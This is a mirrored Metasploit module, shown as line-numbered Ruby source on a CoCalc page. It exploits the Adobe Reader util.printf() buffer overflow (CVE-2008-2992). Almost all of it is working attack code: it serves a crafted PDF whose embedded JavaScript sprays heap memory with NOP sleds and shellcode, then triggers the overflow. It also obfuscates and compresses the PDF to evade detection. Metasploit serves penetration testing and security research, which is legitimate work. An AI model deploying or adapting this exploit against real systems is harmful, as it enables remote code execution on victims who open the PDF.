CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_utilprintf.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe util.printf() Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
18
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
19
entry, an attacker may be able to execute arbitrary code.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
23
'References' =>
24
[
25
[ 'CVE', '2008-2992' ],
26
[ 'OSVDB', '49520' ],
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
},
32
'Payload' =>
33
{
34
'Space' => 1024,
35
'BadChars' => "\x00",
36
},
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
41
],
42
'DisclosureDate' => '2008-02-08',
43
'DefaultTarget' => 0))
44
45
end
46
47
def autofilter
48
false
49
end
50
51
def check_dependencies
52
use_zlib
53
end
54
55
def on_request_uri(cli, request)
56
return if ((p = regenerate_payload(cli)) == nil)
57
# Encode the shellcode.
58
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
59
60
# Make some nops
61
nops = Rex::Text.to_unescape(make_nops(4))
62
63
# Randomize variables
64
rand1 = rand_text_alpha(rand(100) + 1)
65
rand2 = rand_text_alpha(rand(100) + 1)
66
rand3 = rand_text_alpha(rand(100) + 1)
67
rand4 = rand_text_alpha(rand(100) + 1)
68
rand5 = rand_text_alpha(rand(100) + 1)
69
rand6 = rand_text_alpha(rand(100) + 1)
70
rand7 = rand_text_alpha(rand(100) + 1)
71
rand8 = rand_text_alpha(rand(100) + 1)
72
rand9 = rand_text_alpha(rand(100) + 1)
73
rand10 = rand_text_alpha(rand(100) + 1)
74
rand11 = rand_text_alpha(rand(100) + 1)
75
randnop = rand_text_alpha(rand(100) + 1)
76
77
script = %Q|
78
var #{rand1} = unescape("#{shellcode}");
79
var #{randnop} = "#{nops}";
80
var #{rand2} ="";
81
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});
82
#{rand4} = #{rand2} + #{rand1};
83
#{rand5} = unescape("#{randnop}");
84
#{rand6} = 20;
85
#{rand7} = #{rand6}+#{rand4}.length
86
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
87
#{rand8} = #{rand5}.substring(0, #{rand7});
88
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
89
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
90
#{rand10} = new Array();
91
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
92
util.printf("%45000.45000f", 0);
93
|
94
95
# Create the pdf
96
pdf = make_pdf(script)
97
98
print_status("Sending #{self.name}")
99
100
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
101
102
handler(cli)
103
104
end
105
106
def random_non_ascii_string(count)
107
result = ""
108
count.times do
109
result << (rand(128) + 128).chr
110
end
111
result
112
end
113
114
def io_def(id)
115
"%d 0 obj" % id
116
end
117
118
def io_ref(id)
119
"%d 0 R" % id
120
end
121
122
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
123
def n_obfu(str)
124
result = ""
125
str.scan(/./u) do |c|
126
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
127
result << "#%x" % c.unpack("C*")[0]
128
else
129
result << c
130
end
131
end
132
result
133
end
134
135
def ascii_hex_whitespace_encode(str)
136
result = ""
137
whitespace = ""
138
str.each_byte do |b|
139
result << whitespace << "%02x" % b
140
whitespace = " " * (rand(3) + 1)
141
end
142
result << ">"
143
end
144
145
def make_pdf(js)
146
147
xref = []
148
eol = "\x0d\x0a"
149
endobj = "endobj" << eol
150
151
152
pdf = "%PDF-1.5" << eol
153
pdf << "%" << random_non_ascii_string(4) << eol
154
xref << pdf.length
155
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
156
xref << pdf.length
157
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
158
xref << pdf.length
159
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
160
xref << pdf.length
161
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
162
xref << pdf.length
163
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
164
xref << pdf.length
165
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
166
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
167
pdf << "stream" << eol
168
pdf << compressed << eol
169
pdf << "endstream" << eol
170
pdf << endobj
171
xrefPosition = pdf.length
172
pdf << "xref" << eol
173
pdf << "0 %d" % (xref.length + 1) << eol
174
pdf << "0000000000 65535 f" << eol
175
xref.each do |index|
176
pdf << "%010d 00000 n" % index << eol
177
end
178
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
179
pdf << "startxref" << eol
180
pdf << xrefPosition.to_s() << eol
181
pdf << "%%EOF" << eol
182
183
end
184
end
185
186